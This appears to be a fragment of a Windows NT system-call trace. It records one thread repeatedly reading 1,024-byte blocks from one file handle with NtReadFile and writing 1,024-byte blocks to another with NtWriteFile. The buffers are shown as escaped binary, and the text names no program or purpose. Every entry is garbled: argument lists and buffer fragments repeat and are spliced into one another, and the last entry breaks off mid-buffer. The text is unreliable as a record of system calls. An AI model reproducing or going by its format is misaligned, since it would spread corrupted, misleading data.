 01284  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\270\37\37vO\234y\232\13\4\25\202#v\246Bw\327\370\277\352-Y\12'\330\12s\241z\267\107G-:?\324U\374\242Z\330\224\12\36\310;\207\353\26516%\300O\230\343\2659-\307\266|p\201\360\224"3\320\360\363\222,);\327\232\325\254\12\31\310\247\200\341\215 \2343/\301\233gD\341\200\315\266;\271\277\225\2264\27kh\322\236\304\35\237\373\23#u\35 \37>"\2726Wb\2668~\241#\220\116_0\264\304F\45\265\310~J=\227\231:?` J\337\4p\366-\33#\312\11*\22\345\15\23)e\272@\21:3\320\347\272)\261s:\327w\266{\377\37\22a7;d0z\205)mJ\355\214,/\307\177\2603\215<\27364\30$1k\267\362\377\237\31\0\37\366\374Ja?B%Lf\317O(,\240\324-)\252\3170\262\5@\36\275\374\13\371\261;\355\264P.\332\365\37\355\37\213\252\350\240\305&\325\215\10\242l:\247a.\5f8\262ceg\311"\304\3438\276Db`b\22\264\10WO\35!1+$e#S$i(j48\277%\276\1+P%\20566-\34J9O\216>=z\35\1s} ~AVVzKFP)*)\260/^JBC\350\\264$\212\346>\215:\363\?\236?9r\235;\255"R\367"Q)\255\277n-j+\23/\33\220\241\263\2625=\273y(h\322v<\270??c\334i\212\3405E\3703&$\255\37*2u\223:M.,n\362\2428\363*6\274<}\36:p/\265?\32v\235\341\224(:\23\17\36\346\212S-k\7\273.\225\346\3\234\10\226\6&b76L\21\3771h\256-N\331\20TN34\341.v\340+y\277\11", ) 3\320\360\363\222,);\327\232\325\254\12\31\310\247\200\341\215 \2343/\301\233gD\341\200\315\266;\271\277\225\2264\27kh\322\236\304\35\237\373\23#u\35 \37> (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\270\37\37vO\234y\232\13\4\25\202#v\246Bw\327\370\277\352-Y\12'\330\12s\241z\267\107G-:?\324U\374\242Z\330\224\12\36\310;\207\353\26516%\300O\230\343\2659-\307\266|p\201\360\224"3\320\360\363\222,);\327\232\325\254\12\31\310\247\200\341\215 \2343/\301\233gD\341\200\315\266;\271\277\225\2264\27kh\322\236\304\35\237\373\23#u\35 \37>"\2726Wb\2668~\241#\220\116_0\264\304F\45\265\310~J=\227\231:?` J\337\4p\366-\33#\312\11*\22\345\15\23)e\272@\21:3\320\347\272)\261s:\327w\266{\377\37\22a7;d0z\205)mJ\355\214,/\307\177\2603\215<\27364\30$1k\267\362\377\237\31\0\37\366\374Ja?B%Lf\317O(,\240\324-)\252\3170\262\5@\36\275\374\13\371\261;\355\264P.\332\365\37\355\37\213\252\350\240\305&\325\215\10\242l:\247a.\5f8\262ceg\311"\304\3438\276Db`b\22\264\10WO\35!1+$e#S$i(j48\277%\276\1+P%\20566-\34J9O\216>=z\35\1s} ~AVVzKFP)*)\260/^JBC\350\\264$\212\346>\215:\363\?\236?9r\235;\255"R\367"Q)\255\277n-j+\23/\33\220\241\263\2625=\273y(h\322v<\270??c\334i\212\3405E\3703&$\255\37*2u\223:M.,n\362\2428\363*6\274<}\36:p/\265?\32v\235\341\224(:\23\17\36\346\212S-k\7\273.\225\346\3\234\10\226\6&b76L\21\3771h\256-N\331\20TN34\341.v\340+y\277\11", ) \304\3438\276Db`b\22\264\10WO\35!1+$e#S$i(j48\277%\276\1+P%\20566-\34J9O\216>=z\35\1s} ~AVVzKFP)*)\260/^JBC\350\\264$\212\346>\215:\363\?\236?9r\235;\255 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\270\37\37vO\234y\232\13\4\25\202#v\246Bw\327\370\277\352-Y\12'\330\12s\241z\267\107G-:?\324U\374\242Z\330\224\12\36\310;\207\353\26516%\300O\230\343\2659-\307\266|p\201\360\224"3\320\360\363\222,);\327\232\325\254\12\31\310\247\200\341\215 \2343/\301\233gD\341\200\315\266;\271\277\225\2264\27kh\322\236\304\35\237\373\23#u\35 \37>"\2726Wb\2668~\241#\220\116_0\264\304F\45\265\310~J=\227\231:?` J\337\4p\366-\33#\312\11*\22\345\15\23)e\272@\21:3\320\347\272)\261s:\327w\266{\377\37\22a7;d0z\205)mJ\355\214,/\307\177\2603\215<\27364\30$1k\267\362\377\237\31\0\37\366\374Ja?B%Lf\317O(,\240\324-)\252\3170\262\5@\36\275\374\13\371\261;\355\264P.\332\365\37\355\37\213\252\350\240\305&\325\215\10\242l:\247a.\5f8\262ceg\311"\304\3438\276Db`b\22\264\10WO\35!1+$e#S$i(j48\277%\276\1+P%\20566-\34J9O\216>=z\35\1s} ~AVVzKFP)*)\260/^JBC\350\\264$\212\346>\215:\363\?\236?9r\235;\255"R\367"Q)\255\277n-j+\23/\33\220\241\263\2625=\273y(h\322v<\270??c\334i\212\3405E\3703&$\255\37*2u\223:M.,n\362\2428\363*6\274<}\36:p/\265?\32v\235\341\224(:\23\17\36\346\212S-k\7\273.\225\346\3\234\10\226\6&b76L\21\3771h\256-N\331\20TN34\341.v\340+y\277\11", ) Q)\255\277n-j+\23/\33\220\241\263\2625=\273y(h\322v<\270??c\334i\212\3405E\3703&$\255\37*2u\223:M.,n\362\2428\363*6\274<}\36:p/\265?\32v\235\341\224(:\23\17\36\346\212S-k\7\273.\225\346\3\234\10\226\6&b76L\21\3771h\256-N\331\20TN34\341.v\340+y\277\11", ) == 0x0
 01285  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\24M=\3h\243\254v\324@\347\177E\13o\34$\20$\274\226cx\276a\271\4\256\246e\307\330\211\273|\203/\245\201\254\311\314Y\233|\253.z\321DE\312$\245\262DA\235\261\364\211M\342\242/\264j\365\2311\374\264&\361M\17\362\202\355)\320U\232J\223\3360\353\340\30\214\374\364\352A\226\211\265U\373^v\10\242\305y\244\263*\371|\305\322\226t\260\202~\333x\222f\273:u\3317\224\225\225\332B\370h\373\267\260\274\2259\315\320\214tC\254\300\177\11RG]}\345k/a\347y\270\230\272\211J|\367 \307\254\333\256\232\261W1]b\34Q\376\300|1\265\344)\24C\356\307\10\312\250C#\206=\341V\237#f})\237\336\211\25\347\303j\263\35g0\16A1\221^\17\34\373\244\2ZAFM\312\327)\32\230\350\323\233!{39#\216\362\313\224:\204\333E\364H\263p2\7\25Ta\360\351z\217\255W\15\326\340\220Bu\307\202A"\3040\313V\227\367\257\325}S\27\31M)\12\211\376\\317;\300Y3\230\370\320$N\266\352\322E\346\207\221\366\262\364\323\347a\17\361\20?\223\341L\342\346x\356B7h\14\375\250\342k\323\217r\264\17\247|\246\17(\245o\274\247_\37\31\361[gH3\302O\305?\206\173\241b\351u\264\30\244\2724\220]\\7\373\211K\365\346P\5\322\265\313\234t\37\3250\116\21d\356\300|\211G\354\4\30\370\377\0p\341\336\227O\203\314\5\355\13\233h\252\320\201q\236\215\311>\374\326\255\330\343T=\325\347\331\267\207\253\323\345\304;:\351\261\210<\7\252\272N\10Q\213\374%\236\362\243\34\262\212\\375\241g\277\3[U\236z\320\223\322\6y\273\354\303\352C\3778\212\227\230C\13\253\251\270\223\3463", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \3040\313V\227\367\257\325}S\27\31M)\12\211\376\\317;\300Y3\230\370\320$N\266\352\322E\346\207\221\366\262\364\323\347a\17\361\20?\223\341L\342\346x\356B7h\14\375\250\342k\323\217r\264\17\247|\246\17(\245o\274\247_\37\31\361[gH3\302O\305?\206\173\241b\351u\264\30\244\2724\220]\\7\373\211K\365\346P\5\322\265\313\234t\37\3250\116\21d\356\300|\211G\354\4\30\370\377\0p\341\336\227O\203\314\5\355\13\233h\252\320\201q\236\215\311>\374\326\255\330\343T=\325\347\331\267\207\253\323\345\304;:\351\261\210<\7\252\272N\10Q\213\374%\236\362\243\34\262\212\\375\241g\277\3[U\236z\320\223\322\6y\273\354\303\352C\3778\212\227\230C\13\253\251\270\223\3463", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01286  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "3\315\20/8k\26i\261;\261\372=\374\2027\222,\224n\33\251\6\236h\313"\24\253,\177Z<\345Y\2529\2730\255#d\274\7\337(\207d\311\220\3425\264x\274\237\314\275/\200%^\204!!\366\314\10N\331H\322) 4\23h\270\6j\220?\2708t\33>Y;\236^r\16Q-w!#.\245V'dIGIN@\207/\2772|ba\73:7\317W\314y\354\12\32\32\37/\23J\15\303 B9\2 L&\3318zx\314!\0k|}F2\7A7\34L8\31O=\227%\313\33\17\351\36\24\324!!\327$a\335zY)\276\302\337_.\363\244\330\331G4\326F7\200\201\3507 \246\215\340\27\23\35\241^e%r2\224\33w\3175\351\4\250\350%\376\354\26ac\3034U76yo>\260\362o\3263\32\314\2-\337\251g&\252b\371.ycbE b'*\3776A8!\276\24\6\2776\251?L\266\303\274\300\333\30\332X\27 %\2@\370\347"n#\6!\3'\234O\2547cd\333\353uN\21=-\206\213=\32;\2007\3\35\256-c?\4i_\367\361L+"\2Q\36\247u9yA-%y\307\3652:\212\274i\3079\263=\76I6\33\21i", ) \24\253,\177Z<\345Y\2529\2730\255#d\274\7\337(\207d\311\220\3425\264x\274\237\314\275/\200%^\204!!\366\314\10N\331H\322) 4\23h\270\6j\220?\2708t\33>Y;\236^r\16Q-w!#.\245V'dIGIN@\207/\2772|ba\73:7\317W\314y\354\12\32\32\37/\23J\15\303 B9\2 L&\3318zx\314!\0k|}F2\7A7\34L8\31O=\227%\313\33\17\351\36\24\324!!\327$a\335zY)\276\302\337_.\363\244\330\331G4\326F7\200\201\3507 \246\215\340\27\23\35\241^e%r2\224\33w\3175\351\4\250\350%\376\354\26ac\3034U76yo>\260\362o\3263\32\314\2-\337\251g&\252b\371.ycbE b'*\3776A8!\276\24\6\2776\251?L\266\303\274\300\333\30\332X\27 %\2@\370\347 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "3\315\20/8k\26i\261;\261\372=\374\2027\222,\224n\33\251\6\236h\313"\24\253,\177Z<\345Y\2529\2730\255#d\274\7\337(\207d\311\220\3425\264x\274\237\314\275/\200%^\204!!\366\314\10N\331H\322) 4\23h\270\6j\220?\2708t\33>Y;\236^r\16Q-w!#.\245V'dIGIN@\207/\2772|ba\73:7\317W\314y\354\12\32\32\37/\23J\15\303 B9\2 L&\3318zx\314!\0k|}F2\7A7\34L8\31O=\227%\313\33\17\351\36\24\324!!\327$a\335zY)\276\302\337_.\363\244\330\331G4\326F7\200\201\3507 \246\215\340\27\23\35\241^e%r2\224\33w\3175\351\4\250\350%\376\354\26ac\3034U76yo>\260\362o\3263\32\314\2-\337\251g&\252b\371.ycbE b'*\3776A8!\276\24\6\2776\251?L\266\303\274\300\333\30\332X\27 %\2@\370\347"n#\6!\3'\234O\2547cd\333\353uN\21=-\206\213=\32;\2007\3\35\256-c?\4i_\367\361L+"\2Q\36\247u9yA-%y\307\3652:\212\274i\3079\263=\76I6\33\21i", ) \2Q\36\247u9yA-%y\307\3652:\212\274i\3079\263=\76I6\33\21i", ) == 0x0
 01287  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "y\231l\203w\22\241n\301\334\341\311\207\0\224\277\36\271\11\377\3226D\304\276\3324\275\16YuZ;-b\251\271\235\222M\221\30=\226\3626\321\233M[\12)\20\234&\275\363\232\347B\373_\216\337&\367\211\354\2\343\325\372\220\356`5\13\24@\303\267\330\275\355\217\2742\201\234\217\376'a\226T:\231p\374\273\234n\5K\315m`\201<\354c\246\215\232\263\317d<\242B\271\207\200T?\272\24\251\331\300^E\377\263\31\344\353A\370\366\206]\355\304\21\300\25\306\304\37\2646\246\361\322\26o\360\4M.6\267\323\177\13\252\242\25U5\211\333\33\16\2\336\226_Z\244\363e`\320U(\216h\317u\251\334\216\225u\27}$\263\327\2273\211k9_\373\320I\305\252n\274)%\316B\16{!\217\0L\350J\327\373j"\204\377\272\244f\222u\346K\332]?\0E\226,\35G\342B\357.\212\14L"\370\344\312J\221Y\27\224%\271\310E\271\215!{\30Q\31\334\301\302#\352\35622\235(L\16O\\364\274\177\222q\210\273B\245\312=\24\306f"\250\310]\316.\277\242'#t\254\10\366\207\211\366\272\216S\227EC\255q\35O\367\247\377uO,\351Uf\336\0\13\202R\30\262\334I\37"udY;\6\242\14\3623\261`E\307\271\245gn\33\307v\17\324?;(\221Bg\237\271{iv\266\21:\321bl\241\37585k\343\367\250\236&\237\264vA\213?\347\305\245\267\26D\264\237\361\36\261$\330\230\253\335w\346\316n\24\335\14\214\241\207\351R\305\7?<\24^s\24\242\17\377\233;\230q^\306Y\333\22`\336\301J^\31\247\30w\251\201\344\374<\212E\345\211G\324\241p\241\336i\255\265\35\334\317\241f\253%\303\247S8\271X\273,Mr\224(\315", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \204\377\272\244f\222u\346K\332]?\0E\226,\35G\342B\357.\212\14L (92, 0, 0, 0, "y\231l\203w\22\241n\301\334\341\311\207\0\224\277\36\271\11\377\3226D\304\276\3324\275\16YuZ;-b\251\271\235\222M\221\30=\226\3626\321\233M[\12)\20\234&\275\363\232\347B\373_\216\337&\367\211\354\2\343\325\372\220\356`5\13\24@\303\267\330\275\355\217\2742\201\234\217\376'a\226T:\231p\374\273\234n\5K\315m`\201<\354c\246\215\232\263\317d<\242B\271\207\200T?\272\24\251\331\300^E\377\263\31\344\353A\370\366\206]\355\304\21\300\25\306\304\37\2646\246\361\322\26o\360\4M.6\267\323\177\13\252\242\25U5\211\333\33\16\2\336\226_Z\244\363e`\320U(\216h\317u\251\334\216\225u\27}$\263\327\2273\211k9_\373\320I\305\252n\274)%\316B\16{!\217\0L\350J\327\373j"\204\377\272\244f\222u\346K\332]?\0E\226,\35G\342B\357.\212\14L"\370\344\312J\221Y\27\224%\271\310E\271\215!{\30Q\31\334\301\302#\352\35622\235(L\16O\\364\274\177\222q\210\273B\245\312=\24\306f"\250\310]\316.\277\242'#t\254\10\366\207\211\366\272\216S\227EC\255q\35O\367\247\377uO,\351Uf\336\0\13\202R\30\262\334I\37"udY;\6\242\14\3623\261`E\307\271\245gn\33\307v\17\324?;(\221Bg\237\271{iv\266\21:\321bl\241\37585k\343\367\250\236&\237\264vA\213?\347\305\245\267\26D\264\237\361\36\261$\330\230\253\335w\346\316n\24\335\14\214\241\207\351R\305\7?<\24^s\24\242\17\377\233;\230q^\306Y\333\22`\336\301J^\31\247\30w\251\201\344\374<\212E\345\211G\324\241p\241\336i\255\265\35\334\317\241f\253%\303\247S8\271X\273,Mr\224(\315", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \250\310]\316.\277\242'#t\254\10\366\207\211\366\272\216S\227EC\255q\35O\367\247\377uO,\351Uf\336\0\13\202R\30\262\334I\37 (92, 0, 0, 0, "y\231l\203w\22\241n\301\334\341\311\207\0\224\277\36\271\11\377\3226D\304\276\3324\275\16YuZ;-b\251\271\235\222M\221\30=\226\3626\321\233M[\12)\20\234&\275\363\232\347B\373_\216\337&\367\211\354\2\343\325\372\220\356`5\13\24@\303\267\330\275\355\217\2742\201\234\217\376'a\226T:\231p\374\273\234n\5K\315m`\201<\354c\246\215\232\263\317d<\242B\271\207\200T?\272\24\251\331\300^E\377\263\31\344\353A\370\366\206]\355\304\21\300\25\306\304\37\2646\246\361\322\26o\360\4M.6\267\323\177\13\252\242\25U5\211\333\33\16\2\336\226_Z\244\363e`\320U(\216h\317u\251\334\216\225u\27}$\263\327\2273\211k9_\373\320I\305\252n\274)%\316B\16{!\217\0L\350J\327\373j"\204\377\272\244f\222u\346K\332]?\0E\226,\35G\342B\357.\212\14L"\370\344\312J\221Y\27\224%\271\310E\271\215!{\30Q\31\334\301\302#\352\35622\235(L\16O\\364\274\177\222q\210\273B\245\312=\24\306f"\250\310]\316.\277\242'#t\254\10\366\207\211\366\272\216S\227EC\255q\35O\367\247\377uO,\351Uf\336\0\13\202R\30\262\334I\37"udY;\6\242\14\3623\261`E\307\271\245gn\33\307v\17\324?;(\221Bg\237\271{iv\266\21:\321bl\241\37585k\343\367\250\236&\237\264vA\213?\347\305\245\267\26D\264\237\361\36\261$\330\230\253\335w\346\316n\24\335\14\214\241\207\351R\305\7?<\24^s\24\242\17\377\233;\230q^\306Y\333\22`\336\301J^\31\247\30w\251\201\344\374<\212E\345\211G\324\241p\241\336i\255\265\35\334\317\241f\253%\303\247S8\271X\273,Mr\224(\315", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01288  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\325D!\331u&\330\207\35//3\216(\207\326=\227f1\11<#\261\251:\33\377\14\37O\330 $\251\33b-t\3664\3119\33,\322\375/\265\361G\17\277c\312\274p\205\36\317\343\240?_8\31N\367\1\266\334#\333\323\376<\350i\350/ -/(h \2\260\330=\273?|\35.;[m\263s?\34\5\366\25\255\337\335\247\344!Re(%.A,,\177\27606.\333\215\227\274(9\35;?2\272\322[\10\35\335G{|r\240\310q&\24\350\242\326\246dm\245/\347\302\230\203p\236ae8hkQ\24W?nJ\34HM\340\366\242\346w\241\5\346\344(\32ZK\272-*\357k\24An\24v\26\257\371\225\2\367\4\312\6?[%\220'\343\31x\30#\232\378\34d\22F\20\4\241\25\2301\243\36s\372I\127\241\5\375\7\320\1\26\2\231U\335h\376\35\17\35\231e`2$\230I S,V\36\237\01!\2}\4\2771M*\205'1\37.\272\344h\23\225\27\253m\6\343(z\25\347\241\30'{\362\36?adf\271O\264R\311C#=\261\142\371&\374\371", ) , ) == 0x0
 01289  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\10@\320\363\25K\241K\373F\331\270\16fj\377\230@X>\315\250O\247=\356\221\367\16\207\213\26E0\34k\256\202S\30\370\237\2760\364\14\354B\302om\243\316|ih\275V\345\5h\313\277\305q\21\216\231\322]u2\333\32\4\343`~0\22Dz\352Gb\36\250"\353\331\306\222\364\210\2619\253\340\246\311\272\223\351\12JR\352.f<\266\275\215\266\15\264\4O\203\207(\324\350\261=\250T\332\11\301&\327\360\364y\26\2457]V\336\237\346\15\230\261\233\245\251\229h\306\333\316\336\272\351v|\202\365\247$&\316\352l0U\252DB24G\213u\312\245%\305\331\302\302\254\212z2\37,\304-\376\2559R5\334\367&\17\253\353\315s\30\225\304W?\0\244\174\342\273$\273\366\251\347\265\330\206U\305\14\276\67G\270\307|\24\345\2107\337!&\272Z\311\3726\375\331\320U\345\303\37\330Tl\311AS\243\232\214\344{\303\4\323\202\363\210\355\375\273\331\373\217Z\316\357d;\226\3768\356y)\214>\31\240\305\12a\317\31B\313`y\321\363\270\13Y\227[\13\324:\6\3C)O\24\255\357k\227\375\236\32\373\346\223\234&U\270\377xB\340A\204\16\347s\22\26\14\260zRl\226\264\2\376\336\265\376\206;x\214\262qHx`R\203`\350\351/\350b\352\321d\206 \273\37\242aF\356\27q\303o\227\347[\235\342\354\217P\302_8\354r\31D\356\1\302n~X\377\352\207Dh\274\266\200\265\215b]\321\346\360\236'v\224>Oi\361M\251\217\235B7AmK:\243\214\303\335\33\232\377\5<\225\20\251\31\33\354\351\273\362G;\22\310O\212\32\346\261q\23\321\352Gp\31\354&\336\345\1\1\23\275\27\13\237r\252\13o\227p\244\251\332\310\303\35\220", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \353\331\306\222\364\210\2619\253\340\246\311\272\223\351\12JR\352.f<\266\275\215\266\15\264\4O\203\207(\324\350\261=\250T\332\11\301&\327\360\364y\26\2457]V\336\237\346\15\230\261\233\245\251\229h\306\333\316\336\272\351v|\202\365\247$&\316\352l0U\252DB24G\213u\312\245%\305\331\302\302\254\212z2\37,\304-\376\2559R5\334\367&\17\253\353\315s\30\225\304W?\0\244\174\342\273$\273\366\251\347\265\330\206U\305\14\276\67G\270\307|\24\345\2107\337!&\272Z\311\3726\375\331\320U\345\303\37\330Tl\311AS\243\232\214\344{\303\4\323\202\363\210\355\375\273\331\373\217Z\316\357d;\226\3768\356y)\214>\31\240\305\12a\317\31B\313`y\321\363\270\13Y\227[\13\324:\6\3C)O\24\255\357k\227\375\236\32\373\346\223\234&U\270\377xB\340A\204\16\347s\22\26\14\260zRl\226\264\2\376\336\265\376\206;x\214\262qHx`R\203`\350\351/\350b\352\321d\206 \273\37\242aF\356\27q\303o\227\347[\235\342\354\217P\302_8\354r\31D\356\1\302n~X\377\352\207Dh\274\266\200\265\215b]\321\346\360\236'v\224>Oi\361M\251\217\235B7AmK:\243\214\303\335\33\232\377\5<\225\20\251\31\33\354\351\273\362G;\22\310O\212\32\346\261q\23\321\352Gp\31\354&\336\345\1\1\23\275\27\13\237r\252\13o\227p\244\251\332\310\303\35\220", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01290  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "=\275\305\344i?t\31Ja#I&\3323\27\310\1B\13\374*.-\271\20\36&\3131#\347\270\13\323\324-=<\177#A\10\21\232\247v\312\21\5\245+\254\204\15\312j\317\240c\377N\331\36\363w\263B\367\232\230]\12\2743\36\37\30\234\36\26p0J\5(KdMG.\255nJ*a\12\265\20QI\353\25\263\263\344\270V9\375c\R^\36\230\247\\37SQG@\1\0\6\10\342J(\1_\214\20":E2\3734\316=\372y:=9\2712LZ|~jvVD\342\177\304$\162h\260\3\271\16\3\335\36\30PV\11P67\279\37\3768\354<6Moy\216\3217\311-n\302(t\316E\21\305&\4\304{\317#\362\31~4\254u\37\30\32ji\324\270\221R\3254v\236\20\342\11\237#7}Z#\203K#\354\4?.="\361#?Tg4/\230n\212;?W!n.\266(\243*\347\24\357\26\366\20\370\22\334\34\320\36,,\30*\6=\4 \2/\0\26\16\21\14\13\12\262\10\253-\372+\35(\271\268\33F\35&&\21\230\23\377\25\320\279\12\303\10\312\16g\15m\3O\1G\7\263\203\2)"[\36!}\37V\35\257\33\215'\26\343\24\360\22\310\20*0\16\32\14\14\12c\10\2504\352}\14\3356?I\356--. \276\23\20\26t\24\324\32)\26\30\255\36\315\34\23\4\22\260\2\306\1w\104\371\2|>n\236\270\365\341\36\341PuI4w\244\76\301\257\12\37/[(XI39\337%\6ao\321Z\13=\155\36s\376m$\24w\311\22\243%\0\27\264#\202*6\315+~\3776\6a09?4"\330M\220V>\2366\25|\27\20u"3\202)p\1nM*{\236", ) :E2\3734\316=\372y:=9\2712LZ|~jvVD\342\177\304$\162h\260\3\271\16\3\335\36\30PV\11P67\279\37\3768\354<6Moy\216\3217\311-n\302(t\316E\21\305&\4\304{\317#\362\31~4\254u\37\30\32ji\324\270\221R\3254v\236\20\342\11\237#7}Z#\203K#\354\4?.= (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "=\275\305\344i?t\31Ja#I&\3323\27\310\1B\13\374*.-\271\20\36&\3131#\347\270\13\323\324-=<\177#A\10\21\232\247v\312\21\5\245+\254\204\15\312j\317\240c\377N\331\36\363w\263B\367\232\230]\12\2743\36\37\30\234\36\26p0J\5(KdMG.\255nJ*a\12\265\20QI\353\25\263\263\344\270V9\375c\R^\36\230\247\\37SQG@\1\0\6\10\342J(\1_\214\20":E2\3734\316=\372y:=9\2712LZ|~jvVD\342\177\304$\162h\260\3\271\16\3\335\36\30PV\11P67\279\37\3768\354<6Moy\216\3217\311-n\302(t\316E\21\305&\4\304{\317#\362\31~4\254u\37\30\32ji\324\270\221R\3254v\236\20\342\11\237#7}Z#\203K#\354\4?.="\361#?Tg4/\230n\212;?W!n.\266(\243*\347\24\357\26\366\20\370\22\334\34\320\36,,\30*\6=\4 \2/\0\26\16\21\14\13\12\262\10\253-\372+\35(\271\268\33F\35&&\21\230\23\377\25\320\279\12\303\10\312\16g\15m\3O\1G\7\263\203\2)"[\36!}\37V\35\257\33\215'\26\343\24\360\22\310\20*0\16\32\14\14\12c\10\2504\352}\14\3356?I\356--. \276\23\20\26t\24\324\32)\26\30\255\36\315\34\23\4\22\260\2\306\1w\104\371\2|>n\236\270\365\341\36\341PuI4w\244\76\301\257\12\37/[(XI39\337%\6ao\321Z\13=\155\36s\376m$\24w\311\22\243%\0\27\264#\202*6\315+~\3776\6a09?4"\330M\220V>\2366\25|\27\20u"3\202)p\1nM*{\236", ) [\36!}\37V\35\257\33\215'\26\343\24\360\22\310\20*0\16\32\14\14\12c\10\2504\352}\14\3356?I\356--. \276\23\20\26t\24\324\32)\26\30\255\36\315\34\23\4\22\260\2\306\1w\104\371\2|>n\236\270\365\341\36\341PuI4w\244\76\301\257\12\37/[(XI39\337%\6ao\321Z\13=\155\36s\376m$\24w\311\22\243%\0\27\264#\202*6\315+~\3776\6a09?4 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "=\275\305\344i?t\31Ja#I&\3323\27\310\1B\13\374*.-\271\20\36&\3131#\347\270\13\323\324-=<\177#A\10\21\232\247v\312\21\5\245+\254\204\15\312j\317\240c\377N\331\36\363w\263B\367\232\230]\12\2743\36\37\30\234\36\26p0J\5(KdMG.\255nJ*a\12\265\20QI\353\25\263\263\344\270V9\375c\R^\36\230\247\\37SQG@\1\0\6\10\342J(\1_\214\20":E2\3734\316=\372y:=9\2712LZ|~jvVD\342\177\304$\162h\260\3\271\16\3\335\36\30PV\11P67\279\37\3768\354<6Moy\216\3217\311-n\302(t\316E\21\305&\4\304{\317#\362\31~4\254u\37\30\32ji\324\270\221R\3254v\236\20\342\11\237#7}Z#\203K#\354\4?.="\361#?Tg4/\230n\212;?W!n.\266(\243*\347\24\357\26\366\20\370\22\334\34\320\36,,\30*\6=\4 \2/\0\26\16\21\14\13\12\262\10\253-\372+\35(\271\268\33F\35&&\21\230\23\377\25\320\279\12\303\10\312\16g\15m\3O\1G\7\263\203\2)"[\36!}\37V\35\257\33\215'\26\343\24\360\22\310\20*0\16\32\14\14\12c\10\2504\352}\14\3356?I\356--. \276\23\20\26t\24\324\32)\26\30\255\36\315\34\23\4\22\260\2\306\1w\104\371\2|>n\236\270\365\341\36\341PuI4w\244\76\301\257\12\37/[(XI39\337%\6ao\321Z\13=\155\36s\376m$\24w\311\22\243%\0\27\264#\202*6\315+~\3776\6a09?4"\330M\220V>\2366\25|\27\20u"3\202)p\1nM*{\236", ) 3\202)p\1nM*{\236", ) == 0x0
 01291  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\375\317G;\17\334?I\231\232\256\14\311v\257\234\264\371\317\33\252qmU\340\33;\220\223\2610\212\377\230\336\2368\30\260\277s\332W\343\13\272\1Y\323,z\301\276\2\177\260\301\336\362\363\344in\211a\3347\374\271 \17eq\313\253\16\210\221\217\32\371/[?"\364fT>i\36\227nF\367>\33=\302\200\302\3511O,H\251\334\303\31\373p\361ly\215?\2742\3\273\345\244\37\3643\352\274.\213\260^c\374\16/i\215TS">\314\247\177\333\375\344\207\3615Y\352\214\216%\233\342-\355\364D\327c(7"\13^B\232\266\350\15\300\241\247\376S\366^\337\255\261\232\251\217%\207\222\217\220\360\272\361,Cv\246\11@\276K\1\255`ha\216\203\266\260\33\252\372\36,\354\3450'\356\303+C\213\274\2347W\240\7\236M\276\23\241\213%]\221\341UB\203\25cXg1\$\253K\241\11\307\326\323:\15\27?\257:U\277E\2272\200\3203R\30@ht2,\377<\311v!-4/`\253]\0\333\277?(Q\221Qd7\33\314\7\206"\270\317;\20197j\221\315y(\310\4\311\326Y59X&\272\367\24\230\372\322N'O\333\373;\266\336\236\303\331\22!\377\222S4\15\237\267W\6\303\351\273'Fa\340\365b\240\250k\7\33\267)\300It\354\230SwvFa\317g\205\251\344R\242\375\3528\346\277^\312\266\321\224V\21s\342\354!\275\231\4:\170\31D\5\273\270\216~&\335\366\227\210\337NT\232=5\347\23\361N`\307\343\3529\260\36\6\222,@>\221\243\222\305\274M\301\201\345\3031\17-M\6\25\323)\216A'\24\361\325\225\213\247\217|e\264\363s\275\7&\217Y\236\307\356\206\32s\240])\370\34\316i-]2f", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \364fT>i\36\227nF\367>\33=\302\200\302\3511O,H\251\334\303\31\373p\361ly\215?\2742\3\273\345\244\37\3643\352\274.\213\260^c\374\16/i\215TS (92, 0, 0, 0, "\375\317G;\17\334?I\231\232\256\14\311v\257\234\264\371\317\33\252qmU\340\33;\220\223\2610\212\377\230\336\2368\30\260\277s\332W\343\13\272\1Y\323,z\301\276\2\177\260\301\336\362\363\344in\211a\3347\374\271 \17eq\313\253\16\210\221\217\32\371/[?"\364fT>i\36\227nF\367>\33=\302\200\302\3511O,H\251\334\303\31\373p\361ly\215?\2742\3\273\345\244\37\3643\352\274.\213\260^c\374\16/i\215TS">\314\247\177\333\375\344\207\3615Y\352\214\216%\233\342-\355\364D\327c(7"\13^B\232\266\350\15\300\241\247\376S\366^\337\255\261\232\251\217%\207\222\217\220\360\272\361,Cv\246\11@\276K\1\255`ha\216\203\266\260\33\252\372\36,\354\3450'\356\303+C\213\274\2347W\240\7\236M\276\23\241\213%]\221\341UB\203\25cXg1\$\253K\241\11\307\326\323:\15\27?\257:U\277E\2272\200\3203R\30@ht2,\377<\311v!-4/`\253]\0\333\277?(Q\221Qd7\33\314\7\206"\270\317;\20197j\221\315y(\310\4\311\326Y59X&\272\367\24\230\372\322N'O\333\373;\266\336\236\303\331\22!\377\222S4\15\237\267W\6\303\351\273'Fa\340\365b\240\25